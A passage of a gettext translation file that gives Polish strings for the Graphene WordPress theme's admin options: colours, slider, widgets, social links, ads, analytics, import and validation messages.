msgstr "Tło treści głównej"

#: admin/options-display.php:385
msgid "Post and pages content background"
msgstr "Tło postów i stron"

#: admin/options-display.php:386
msgid "Post meta and footer border"
msgstr "Obramowanie znaczników meta i stopki posta"

#: admin/options-display.php:387
msgid "Post and pages top border"
msgstr "Posty i strony do wyświetlenia na górze"

#: admin/options-display.php:388
msgid "Post and pages bottom border"
msgstr "Posty i strony do wyświetlenia na dole"

#: admin/options-display.php:398
#: admin/options-display.php:428
#: admin/options-display.php:454
#: admin/options-display.php:481
#: admin/options-display.php:510
#: admin/options-display.php:646
#: admin/options-display.php:667
msgid "Clear"
msgstr "Wyczyść"

#: admin/options-display.php:405
msgid "Widgets"
msgstr "Widgety"

#: admin/options-display.php:408
msgid "Widget preview"
msgstr "Podgląd widgetu"

#: admin/options-display.php:409
msgid "Widget title"
msgstr "Tytuł widgety"

#: admin/options-display.php:409
msgid "List item"
msgstr "Lista elementów"

#: admin/options-display.php:413
msgid "Widget item background"
msgstr "Tło widgetu"

#: admin/options-display.php:414
msgid "Widget item list border"
msgstr "Obramowanie listy widgetów"

#: admin/options-display.php:415
msgid "Widget header border"
msgstr "Obramowanie nagłówka widgetu"

#: admin/options-display.php:416
msgid "Widget title colour"
msgstr "Kolor tytułu widgetu"

#: admin/options-display.php:417
msgid "Widget title text shadow colour"
msgstr "Kolor cienia textu tytułu widgetu"

#: admin/options-display.php:418
msgid "Widget header gradient bottom colour"
msgstr "Kolor dolnego gradientu nagłówka widgetu"

#: admin/options-display.php:419
msgid "Widget header gradient top colour"
msgstr "Kolor górnego gradientu nagłówka widgetu"

#: admin/options-display.php:436
msgid "Slider"
msgstr "Slider"

#: admin/options-display.php:439
msgid "Slider background preview"
msgstr "Podgląd tła Slidera"

#: admin/options-display.php:444
msgid "Slider top left colour"
msgstr "Kolor lewej góry slidera"

#: admin/options-display.php:445
msgid "Slider bottom right colour"
msgstr "Kolor prawego przycisku Slidera"

#: admin/options-display.php:462
msgid "Block buttons"
msgstr "Pokaż przyciski"

#: admin/options-display.php:465
msgid "Block button preview"
msgstr "Podgląd bloku przycisku"

#: admin/options-display.php:466
msgid "Button label"
msgstr "Etykieta przycisku"

#: admin/options-display.php:470
msgid "Button background colour"
msgstr "Kolor tła przycisku"

#: admin/options-display.php:471
msgid "Button label colour"
msgstr "Kolor etykiety przycisku"

#: admin/options-display.php:472
msgid "Button label text shadow"
msgstr "Cień tekstu etykiety przycisku"

#: admin/options-display.php:489
msgid "Archive title"
msgstr "Archiwalny tytuł"

#: admin/options-display.php:492
msgid "Archive title preview"
msgstr "Podgląd archwoalnych tytułów"

#: admin/options-display.php:493
msgid "Archive title:"
msgstr "Archiwalny tytuł:"

#: admin/options-display.php:493
msgid "Sample title"
msgstr "Przykładowy tytuł"

#: admin/options-display.php:497
msgid "Archive background gradient left colour"
msgstr "Archiwalny kolor lewego gradientu tła"

#: admin/options-display.php:498
msgid "Archive background gradient right colour"
msgstr "Archiwalny kolor prawego gradientu tła"

#: admin/options-display.php:499
msgid "Archive label colour"
msgstr "Archiwalny kolor etykiety"

#: admin/options-display.php:500
msgid "Archive text colour"
msgstr "Archiwalny kolor tekstu"

#: admin/options-display.php:501
msgid "Archive label and text shadow colour"
msgstr "Archiwalny kolor etykiety i cienia tekstu"

#: admin/options-display.php:525
msgid "Text Style Options"
msgstr "Opcje wyświetlania tekstu."

#: admin/options-display.php:528
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "To są ustawienia CSS, każda poprawna wartość CSS może być użyta."

#: admin/options-display.php:529
msgid "Some example CSS properties values:"
msgstr "Przykłady właściwośći CSS:"

#: admin/options-display.php:532
msgid "Text font:"
msgstr "Czcionka tekstu:"

#: admin/options-display.php:536
msgid "Text size and line height:"
msgstr "Rozmiar tekstu i wysokość linii:"

#: admin/options-display.php:540
msgid "Text weight:"
msgstr "Grubość tekstu:"

#: admin/options-display.php:544
msgid "Text style:"
msgstr "Styl tekstu:"

#: admin/options-display.php:548
msgid "Text colour:"
msgstr "Kolor tekstu:"

#: admin/options-display.php:553
msgid "Header Text"
msgstr "Tekst nagłówka"

#: admin/options-display.php:557
msgid "Title text font"
msgstr "Czcionka tytułu"

#: admin/options-display.php:563
msgid "Title text size"
msgstr "Rozmiar czcionki tytułu"

#: admin/options-display.php:569
msgid "Title text weight"
msgstr "Grubość czcionki tytułu"

#: admin/options-display.php:575
msgid "Title text line height"
msgstr "Wysokość linii (odstępu pomiędzy wierszami) tytułu"

#: admin/options-display.php:581
msgid "Title text style"
msgstr "Styl tytułu"

#: admin/options-display.php:590
msgid "Description text font"
msgstr "Czcionka opisu"

#: admin/options-display.php:596
msgid "Description text size"
msgstr "Rozmiar czcionki opisu"

#: admin/options-display.php:602
msgid "Description text weight"
msgstr "Grubość czcionki opisu"

#: admin/options-display.php:608
msgid "Description text line height"
msgstr "Wysokość linii (odstępu pomiędzy wierszami) opisu"

#: admin/options-display.php:614
msgid "Description text style"
msgstr "Styl opisu"

#: admin/options-display.php:620
msgid "Content Text"
msgstr "Zawartość tekstu"

#: admin/options-display.php:624
msgid "Text font"
msgstr "Czcionka tekstu"

#: admin/options-display.php:630
msgid "Text size"
msgstr "Rozmiar tekstu"

#: admin/options-display.php:636
msgid "Text line height"
msgstr "Wysokość linii (odstępu pomiędzy wierszami) tekstu"

#: admin/options-display.php:642
msgid "Text colour"
msgstr "Kolor tekstu"

#: admin/options-display.php:652
msgid "Link Text"
msgstr "Text Linku"

#: admin/options-display.php:656
msgid "Link colour (normal state )"
msgstr "Kolor linku (normalny)"

#: admin/options-display.php:657
msgid "Link colour (visited state )"
msgstr "Kolor linku (odwiedzony)"

#: admin/options-display.php:658
msgid "Link colour (hover state )"
msgstr "Kolor linku (po najechaniu)"

#: admin/options-display.php:675
msgid "Text decoration (normal state )"
msgstr "Ozdobniki tekstu (normalny)"

#: admin/options-display.php:681
msgid "Text decoration (hover state )"
msgstr "Ozdobniki tekstu (po najechaniu)"

#: admin/options-display.php:694
msgid "Footer Widget Display Options"
msgstr "Opcje wyświetlania Obszaru na Widgety w stopce"

#: admin/options-display.php:700
msgid "Number of columns to display"
msgstr "Liczba wyświetlanych kolumn"

#: admin/options-display.php:707
msgid "Number of columns to display for front page footer widget"
msgstr "Liczba wyświetlanych kolumn na stronie głównej "

#: admin/options-display.php:721
msgid "Navigation Menu Display Options"
msgstr "Opcje wyświetlania Menu Nawigacyjnego"

#: admin/options-display.php:727
msgid "Dropdown menu item width"
msgstr "Szerokość Opuszczanego Menu"

#: admin/options-display.php:733
msgid "Disable description in Header Menu"
msgstr "Wyłącz opis w Menu nagłówka"

#: admin/options-display.php:741
msgid "Description for default menu \"Home\" item"
msgstr "Opis dla domyślnego menu \"Strona główna\" "

#: admin/options-display.php:757
msgid "Miscellaneous Display Options"
msgstr "Pozostałe opcje wyświetlania"

#: admin/options-display.php:760
msgid "Site title options"
msgstr "Opcje tytułu strony"

#: admin/options-display.php:761
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Użyj tych tagów do dostosowania twojej własnej struktury tytułu: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options-display.php:765
msgid "Custom front page site title"
msgstr "Własny tytuł strony głównej"

#: admin/options-display.php:769
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "Domyślenie do <code>#site-name &raquo; #site-desc</code>. Tag <code>#post-title</code> nie może być tu użyty."

#: admin/options-display.php:774
msgid "Custom content pages site title"
msgstr "Własny tytuł strony treści"

#: admin/options-display.php:778
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "Domyślne do <code>#post-title &raquo; #site-name</code>."

#: admin/options-display.php:783
msgid "Favicon options"
msgstr "Opcje Favicon"

#: admin/options-display.php:787
msgid "Favicon URL"
msgstr "URL do Favicon"

#: admin/options-display.php:791
#: admin/options-general.php:98
msgid "Upload or select image from gallery"
msgstr "Załaduj lub wybierz obraz z galerii"

#: admin/options-display.php:791
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "Podaj pełny URL do favicon'y tutaj, aby ją włączyć. Upewnij się, że zawarłeś <code>http://</code>na poaczątku adresu URL. Możesz również użyć opcję ładowania plików dołączoną do WordPress i wybrać obraz z biblioteki mediów."

#: admin/options-display.php:803
msgid "Custom CSS"
msgstr "Własny CSS"

#: admin/options-display.php:808
msgid "Custom CSS styles"
msgstr "Własny styl CSS"

#: admin/options-display.php:810
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Możesz podać poniżej swój własny kod CSS, aby zmodyfikować inne aspekty skórki, które nie są zawarte w opcjach."

#: admin/options-general.php:12
msgid "Slider Options"
msgstr "Opcje Slider"

#: admin/options-general.php:18
msgid "Disable slider"
msgstr "Wyłącz Slider"

#: admin/options-general.php:26
msgid "What do you want to show in the slider"
msgstr "Co chcesz, aby było pokazywane w sliderze"

#: admin/options-general.php:30
msgid "Show latest posts"
msgstr "Najnowsze wpisy"

#: admin/options-general.php:33
msgid "Show random posts"
msgstr "Pokaż losowy post"

#: admin/options-general.php:36
msgid "Show specific posts/pages"
msgstr "Pokaż szczególne posty/strony"

#: admin/options-general.php:39
msgid "Show posts from categories"
msgstr "Pokazuj posty z kategorii"

#: admin/options-general.php:44
#: admin/options-general.php:258
msgid "Posts and/or pages to display"
msgstr "Posty i/lub strony do wyświetlenia"

#: admin/options-general.php:49
#: admin/options-general.php:263
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Wpisz ID postu i/lub strony do wyświetlenia oddzielone przecinkiem. Przykład:<code>1,13,45,33</code>"

#: admin/options-general.php:50
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Obowiązuje tylko, gdy <strong> Posty i/lub strony </strong> jest zaznaczone powyżej."

#: admin/options-general.php:56
msgid "Categories to display"
msgstr "Kategorie do wyświetlenia"

#: admin/options-general.php:57
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "Wszystkie wpisy w kategorii wybranej tutaj będą wyświetlane w slider. Przykład użycia: stwórz nową kategorię \"Prezentacja\" i przypisz do niej wszystkie wpisy, które mają być wyświetlane w obszarze slider, a  następnie wskaż tą kategorię tutaj."

#: admin/options-general.php:73
msgid "Number of posts to display"
msgstr "Liczba wpisów do wyświetlenia:"

#: admin/options-general.php:104
msgid "Slider display style"
msgstr "Styl wyświetlania Slidera"

#: admin/options-general.php:108
msgid "Thumbnail and excerpt"
msgstr "Miniaturka i fragment"

#: admin/options-general.php:109
msgid "Background image and excerpt"
msgstr "Obrazek tła i fragment"

#: admin/options-general.php:110
msgid "Full post content"
msgstr "Pełna zawartość posta"

#: admin/options-general.php:116
msgid "Slider animation"
msgstr "Animacja slidera"

#: admin/options-general.php:121
msgid "Horizontal slide"
msgstr "Przewijanie poziome"

#: admin/options-general.php:122
msgid "Vertical slide"
msgstr "Przewijanie pionowe"

#: admin/options-general.php:123
msgid "Fade"
msgstr "Rozmycie"

#: admin/options-general.php:124
msgid "No effect"
msgstr "Brak efektu"

#: admin/options-general.php:130
msgid "Slider height"
msgstr "Wysokość Slider"

#: admin/options-general.php:138
msgid "Slider speed"
msgstr "Prędkość Slider"

#: admin/options-general.php:141
#: admin/options-general.php:150
msgid "milliseconds"
msgstr "milisekund"

#: admin/options-general.php:142
msgid "This is the duration that each slider item will be shown"
msgstr "To jest czas trwania wyświetlania każdego elementu w obszarze Slider z osobna"

#: admin/options-general.php:147
msgid "Slider transition speed"
msgstr "Prędkość Slider"

#: admin/options-general.php:151
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Tu określasz prędkośc slidera. Niższa wartość = wyższa prędkość."

#: admin/options-general.php:156
msgid "Move slider to bottom of page"
msgstr "Przenieś obszar Slider na dół strony"

#: admin/options-general.php:169
msgid "Front Page Options"
msgstr "Opcje strony głównej"

#: admin/options-general.php:175
msgid "Front page posts categories"
msgstr "Kategorie postów na stronie głównej"

#: admin/options-general.php:177
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Tylko posty należące do kategorii tutaj zaznaczonych będą wyświetlane na stronie głównej. Nie działa przy Statycznej Stronie Głównej."

#: admin/options-general.php:182
msgid "--Disabled--"
msgstr "--Wyłączony--"

#: admin/options-general.php:190
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Możesz zaznaczyć wiele kategorii przez naciśnięcie i przytrzymanie klawisza CTRL."

#: admin/options-general.php:202
msgid "Homepage Panes"
msgstr "Okienka Strony domowej"

#: admin/options-general.php:209
msgid "Disable homepage panes"
msgstr "Wyłącz okienka strony głównej"

#: admin/options-general.php:219
msgid "Type of content to show"
msgstr "Typ zawartości do wyświetlenia"

#: admin/options-general.php:226
msgid "Latest posts by category"
msgstr "Najnowsze posty kategorii:"

#: admin/options-general.php:229
msgid "Posts and/or pages"
msgstr "Posty i/lub strony"

#: admin/options-general.php:234
msgid "Number of latest posts to display"
msgstr "Liczba ostatich wpisów do wyświetlenia:"

#: admin/options-general.php:238
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Obowiazuje tylko, gdy <strong>Najnowsze posty</strong> lub <strong>Najnowsze posty kategorii</strong> jest zaznaczone powyżej."

#: admin/options-general.php:243
msgid "Category to show latest posts from"
msgstr "Kategoria pokazująca ostatnie posty"

#: admin/options-general.php:253
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Obowiazuje tylko, gdy <strong>Najnowsze posty kategorii</strong> jest zaznaczone powyżej."

#: admin/options-general.php:264
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Obowiązuje tylko, gdy <strong> Posty i/lub strony </strong> jest zaznaczone powyżej."

#: admin/options-general.php:270
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Uwaga:</strong> okienka strony domowej są wyświetlane tylko, gdy używasz<a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statycznej strony głównej </a>."

#: admin/options-general.php:280
msgid "Comments Options"
msgstr "Opcje komentarzy"

#: admin/options-general.php:286
msgid "Commenting"
msgstr "Komentowanie"

#: admin/options-general.php:290
msgid "Use WordPress settings"
msgstr "Użyj ustawień Wordpress"

#: admin/options-general.php:291
msgid "Disabled for pages"
msgstr "Wyłącz dla stron"

#: admin/options-general.php:292
msgid "Disabled completely"
msgstr "Wyłącz całkowicie"

#: admin/options-general.php:294
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "Uwaga: the ustawienia zmienią globalne Ustawienia Dyskusji Wordpress zwane\"Pozwól użytkonikom komentować nowe artykuły\" i również \"Zezwól na komentowanie\" dla indywidualnych postów/stron."

#: admin/options-general.php:306
msgid "Child Page Options"
msgstr "Opcje strony dziecięcej"

#: admin/options-general.php:312
msgid "Hide parent box if content is empty"
msgstr "Ukryj pole rodzica, gdy zawartość jest pusta"

#: admin/options-general.php:318
msgid "Child page listings"
msgstr "Ukryj listę stron dziecięcych"

#: admin/options-general.php:322
msgid "Show listing"
msgstr "Pokaż listy"

#: admin/options-general.php:323
msgid "Hide listing"
msgstr "Ukryj listy"

#: admin/options-general.php:324
msgid "Only show listing if parent content is empty"
msgstr "Pokaż listę, tylko gdy okno rodzica jest puste"

#: admin/options-general.php:337
msgid "Widget Area Options"
msgstr "Opcje Obszarów na Widgety"

#: admin/options-general.php:340
msgid "Header widget area"
msgstr "Obszar Widget'ów nagłówka"

#: admin/options-general.php:341
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Ważne:</strong> Ten obszar widget jest bezstylowy, gdyż często jest używany do bannerów, etc. Jeśli go włączysz, upewnij się, że dostosowałeś go do swoich potrzeb używając Własnych ustawień CSS."

#: admin/options-general.php:345
msgid "Enable header widget area"
msgstr "Włącz obszat widgetów nagłówka"

#: admin/options-general.php:354
msgid "Alternate Widgets"
msgstr "Alternatywne Widgety"

#: admin/options-general.php:355
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Możesz wymusić, aby motyw rozróżniał obszary na widgety umieszczone na stronie głównej od tych na pozostałej części witryny. Jeśli uaktywnisz tą opcje to powstanie dodatkowy obszar na widgety wyświetlane tylko na stronie głównej, którego właściwości będzie można zmieniać w opcjach wyświetlania motywu w części dotyczącwj widgetów."

#: admin/options-general.php:358
msgid "Enable alternate front page sidebar widget area"
msgstr "Uaktywnij alternatywny obszar boczny na widgety wyświetlane tylko na stronie głównej"

#: admin/options-general.php:362
msgid "Enable alternate front page footer widget area"
msgstr "Uaktywnij alternatywny obszar w stopce na widgety wyświetlane tylko na stronie głównej"

#: admin/options-general.php:363
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Jeśli uaktywnisz tą opcję to będzie można mieć różne ilości kolumn na widgety w stopce strony głównej oraz w stopkach reszty witryny."

#: admin/options-general.php:376
msgid "Top Bar Options"
msgstr "Opcje górnego paska"

#: admin/options-general.php:382
msgid "Hide the top bar"
msgstr "Ukryj górny pasek menu"

#: admin/options-general.php:390
msgid "Hide feed icon"
msgstr "Ukryj ikonę kanału"

#: admin/options-general.php:394
msgid "Use custom feed URL"
msgstr "Użyj własnego URL"

#: admin/options-general.php:397
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "Własny URL kanału zastąpi domyślny URL kanału RSS Wordpress."

#: admin/options-general.php:401
msgid "Open social media links in new window"
msgstr "Otwórz linki do social mediów w nowym oknie"

#: admin/options-general.php:405
msgid "Twitter URL"
msgstr "Twitter URL"

#: admin/options-general.php:408
msgid "Enter the URL to your Twitter page."
msgstr "Wpisz URL do Twojej strony Twitter"

#: admin/options-general.php:412
msgid "Facebook URL"
msgstr "Facebook URL"

#: admin/options-general.php:415
msgid "Enter the URL to your Facebook profile page."
msgstr "Wpisz URL do Twojego profilu na Facebooku."

#. translators: %s will be replaced by the social media service name. Example: LinkedIn Title
#: admin/options-general.php:426
#, php-format
msgid "%s Title"
msgstr "%s Tytuł:"

#: admin/options-general.php:431
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr "Tytuł jest pusty i powyższy tytuł zostanie wyświetlony: <strong>%s</strong>"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn URL
#: admin/options-general.php:437
#, php-format
msgid "%s URL"
msgstr "%s URL"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL
#: admin/options-general.php:442
#, php-format
msgid "%s icon URL"
msgstr "%s URL ikony"

#: admin/options-general.php:445
msgid "Delete"
msgstr "Usuń"

#: admin/options-general.php:453
msgid "Add new social media icon"
msgstr "Dodaj nową ikonę social media"

#: admin/options-general.php:465
msgid "Social Sharing Buttons"
msgstr "Przyciski Publikacji w Mediach Społecznościowych"

#: admin/options-general.php:470
msgid "Show social sharing button"
msgstr "Pokaż Przyciski Publikacji w Mediach Społecznościowych"

#: admin/options-general.php:476
msgid "Show in Pages as well?"
msgstr "Czy pokazywać też na stronach?"

#: admin/options-general.php:480
msgid "Social sharing buttons location"
msgstr "Położenie przycisków \"Podziel się\" w social mediach"

#: admin/options-general.php:483
msgid "Bottom of posts"
msgstr "Dół postów"

#: admin/options-general.php:484
msgid "Top of posts"
msgstr "Góra postów"

#: admin/options-general.php:485
msgid "Both top and bottom"
msgstr "Oba góra i dół"

#: admin/options-general.php:491
msgid "Your social sharing button code"
msgstr "Kod Twoich Przycisków Publikacji w Mediach Społecznościowych"

#: admin/options-general.php:492
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Możesz używać kodów popularnych mediów społecznościowych jak Facebook, Digg, AddThis itp."

#: admin/options-general.php:495
msgid "You may use these tags to get the post's URL, title, and excerpt:"
msgstr "Możesz użyć tych tagów, aby pozyskać URL posta i tytuł: "

#: admin/options-general.php:507
msgid "Adsense Options"
msgstr "Opcje Adsense"

#: admin/options-general.php:513
msgid "Show Adsense advertising"
msgstr "Pokaż reklamy Adsense"

#: admin/options-general.php:519
msgid "Show ads on front page as well"
msgstr "Pokazuj reklamy na stronie głównej"

#: admin/options-general.php:525
msgid "Your Adsense code"
msgstr "Twój kod Adsense"

#: admin/options-general.php:538
msgid "Google Analytics Options"
msgstr "Opcje Google Analytics"

#: admin/options-general.php:543
msgid "Enable Google Analytics tracking"
msgstr "Włącz śledzenie Google Analytics"

#: admin/options-general.php:550
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>Info:</strong> skórka umieszcza teraz skrypt Google Analytics w <code>&lt;head&gt;</code>dla lepszego wsparcia nowego asynchronicznego skryptu Google Analytics. Proszę, upewnij się, że uaktualniłeś swój skrypt do użycia nowego asynchoronicznego  skryptu od Google Analytics."

#: admin/options-general.php:554
msgid "Google Analytics tracking code"
msgstr "Kod Google Analytics"

#: admin/options-general.php:555
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Upewnij się, że podałeś pełny kod (zawierający <code>&lt;script&gt;</code> i <code>&lt;/script&gt;</code> tag) a nie tylko <code>UA-#######-#</code>."

#: admin/options-general.php:568
msgid "Footer Options"
msgstr "Opcje Stopki"

#: admin/options-general.php:573
msgid "Use Creative Commons licence for content"
msgstr "Używaj licencji  Creative Commons dla treści"

#: admin/options-general.php:578
msgid "Copyright text (html allowed)"
msgstr "Nota o prawach autorskich (html jest dozwolony) "

#: admin/options-general.php:579
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Jeśli pozostawisz to pole puste to będzie wyświetlana domyślna nota o prawach autorskich:"

#: admin/options-general.php:585
msgid "Do not show copyright info"
msgstr "Nie pokazuj informacji o prawach autorskich "

#: admin/options-general.php:589
msgid "Do not show the \"Return to top\" link"
msgstr "Nie pokazuj linku \"Powrót na górę\" "

#: admin/options-general.php:601
msgid "Print Options"
msgstr "Opcje drukwania"

#: admin/options-general.php:606
msgid "Enable print CSS for single posts and pages?"
msgstr "Włączyć drukowanie CSS dla pojedynczych postów i stron?"

#: admin/options-general.php:610
msgid "Show print button"
msgstr "Pokazać przycisk drukuj"

#: admin/options-import.php:38
#: admin/options-import.php:169
#: admin/options-presets.php:48
#: admin/uninstall.php:32
msgid "ERROR: You are not authorised to perform that operation"
msgstr "BŁĄD: Nie jesteś upoważniony do wykonania tej operacji."

#: admin/options-import.php:59
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Zanim będziesz mógł załadować twój zaimportowany plik, musisz naprawić następujące błędy:"

#: admin/options-import.php:65
#: admin/options-import.php:98
msgid "Import Graphene Theme Options"
msgstr "Importuj opcje stylu Graphene"

#: admin/options-import.php:67
msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Uwaga:</strong> To jest eksperymentalna funkcja. Proszę kierować wszystkie problemy techniczne dotyczące skórki na <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\"> Forum Pomocy Technicznej</a>."

#: admin/options-import.php:69
msgid "Choose a file from your computer:"
msgstr "Wybierz plik ze swojego komputera:"

#: admin/options-import.php:69
#, php-format
msgid "Maximum size: %s"
msgstr "Maksymalny rozmiar: %s"

#: admin/options-import.php:76
msgid "Upload file and import"
msgstr "Załaduj plik i importuj"

#: admin/options-import.php:141
msgid "Options import completed"
msgstr "Opcja importu zakończona."

#: admin/options-import.php:142
msgid "Go to the Graphene options page"
msgstr "Przejdź na stronę Opcji Graphene"

#: admin/options-import.php:145
#: admin/options-import.php:150
#: admin/options-import.php:155
msgid "Sorry, there has been an error."
msgstr "Przepraszam, wystąpił błąd."

#: admin/options-import.php:146
msgid "The uploaded file does not contain valid Graphene options."
msgstr "Załadowany plik nie zawiera poprawych opcji Graphene."

#: admin/options-import.php:151
msgid "The uploaded file could not be read."
msgstr "Załadowany plik nie moze zostać odczytany."

#: admin/options-import.php:156
msgid "The uploaded file is not supported."
msgstr "Załadowany plik nie jest obsługiwany."

#: admin/options-import.php:164
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Plik jest pusty. Ten błąd może być również spowodowany tym, że wysyłanie zostało wyłaczone w twoich pliku php.ini lub post_max_size jest zdefiniowany jako mniejszy niż  upload_max_filesize w php.ini."

#: admin/options-init.php:33
msgid "Graphene Options"
msgstr "Opcje Motywu Graphene"

#: admin/options-init.php:34
msgid "Graphene FAQs"
msgstr "Graphene FAQ"

#: admin/options-init.php:84
msgid "Toggle all tabs"
msgstr "Przełącz wszystkie karty"

#: admin/options-init.php:86
msgid "Show essential options"
msgstr "Pokaż niezbędne opcje"

#: admin/options-init.php:87
msgid "Show all options"
msgstr "Pokaż wszystkie opcje"

#: admin/options-init.php:124
msgid "Template preview not found."
msgstr "Podgląd motywu niedostępny."

#: admin/options-init.php:127
msgid "default"
msgstr "domyślny"

#: admin/options-init.php:183
#: admin/options-init.php:187
msgid "Theme default"
msgstr "Domyślny motyw"

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr "Ustawienia predefiniowane zostały zastosowane dla \"Normalnej strony\"."

#: admin/options-presets.php:41
msgid "Settings have been reset."
msgstr "Ustawienia zresetowano."

#: admin/options-validator.php:24
msgid "ERROR: Invalid category to show in slider."
msgstr "BŁĄD: Niewłaściwa kategoria do wyświetlania w sliderze."

#: admin/options-validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr "BŁĄD: Musisz określić posty/strony, które mają być wyświetlone, gdy masz zaznaczoną opcje \"Pokaż określone posty/strony\" dla slidera."

#: admin/options-validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr "BŁĄD: Musisz zaznaczyć przynajmniej jedną kategorię, gdy masz zaznaczoną opcje \"Pokaż posty z kategorii\" dla slidera."

#: admin/options-validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr "BŁĄD: Wybrano nieprawidłowe kategorie do slidera."

#: admin/options-validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr "BŁĄD: Liczba postów do wyśiwetlenia w sliderze musi być całkowita."

#: admin/options-validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr "BŁĄD: Opcje wybrane dla obrazka slidera są niewłaściwe."

#: admin/options-validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr "BŁĄD: Podano zły URL dla własnego obrazka slidera."

#: admin/options-validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr "BŁĄD: Zostały zaznaczone niewłaściwe opcje dla stylu wyświetlania slidera."

#: admin/options-validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr "BŁĄD: Wartość wysokości slidera musi być liczbą całkowitą."

#: admin/options-validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr "BŁĄD: Wartość prędkości dla slidera musi być liczbą całkowitą."

#: admin/options-validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr "BŁĄD: Wartość prędkości przejścia slidera musi być liczbą całkowitą."

#: admin/options-validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr "BŁĄD: Nieprawidłowa animacja slidera."

#: admin/options-validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr "BŁĄD: Wybrano niewłaściwą kategorię dla kategorii postów na stronie głównej."

#: admin/options-validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr "BŁĄD: Wybrano niewłaściwe opcje dla typu zawartości wyświetlanej w okienkach na stronie głównej."

#: admin/options-validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr "BŁĄD: Wartość postów wyświetlanych w okienkach na stronie głównej musi być liczbą całkowitą."

#: admin/options-validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr "BŁĄD: Wybrano niewłaściwą kategorię dla najnowszych postów wyświetlanych w okienkach na stronie głównej."

#: admin/options-validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr "BŁĄD: Wybrano niewłaściwe ustawienia dla komentarzy."

#: admin/options-validator.php:116
msgid "ERROR: Invalid option for the child page listings."
msgstr "BŁĄD: Wybrano niewłaściwe opcje dla listy stron \"dziecięcych\"."

#: admin/options-validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr "BŁĄD: Wpisano zły URL dla własnego URL kanału RSS."

#: admin/options-validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr "BŁĄD: Wpisano zły adres URL dla Twittera."

#: admin/options-validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr "BŁĄD: Wpisano zły URL dla Facebooka."

#: admin/options-validator.php:152
msgid "ERROR: Bad URL entered for the social media icon URL."
